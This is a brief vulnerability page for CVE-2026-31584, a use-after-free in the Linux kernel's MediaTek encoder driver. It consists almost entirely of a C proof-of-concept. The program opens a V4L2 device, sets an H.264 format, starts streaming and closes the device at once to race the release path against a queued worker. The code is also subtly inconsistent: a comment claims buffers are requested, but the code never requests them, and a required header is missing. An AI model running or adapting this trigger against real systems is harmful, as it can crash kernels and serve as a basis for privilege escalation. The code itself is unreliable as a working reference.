CVE-2026-31584: Linux内核MediaTek编码器释放后重用漏洞

/* * Conceptual PoC for CVE-2026-31584 * This code attempts to trigger the race condition between * the workqueue handler and the release path. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> #include <stdio.h> #define DEVICE "/dev/videoX" // Replace with actual encoder device int main() { int fd, ret; struct v4l2_format fmt; fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Initialize format to trigger encoder context setup memset(&fmt, 0, sizeof(fmt)); fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; fmt.fmt.pix_mp.width = 1280; fmt.fmt.pix_mp.height = 720; fmt.fmt.pix_mp.pixelformat = V4L2_PIX_FMT_H264; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("VIDIOC_S_FMT"); close(fd); return 1; } // Request buffers and start streaming to queue the encode_work // This schedules mtk_venc_worker enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; if (ioctl(fd, VIDIOC_STREAMON, &type) < 0) { perror("VIDIOC_STREAMON"); // Continue to try to trigger release } // Immediately close the device to trigger fops_vcodec_release // This races with the pending mtk_venc_worker accessing ctx close(fd); printf("Triggered potential UAF race condition.\n"); return 0; }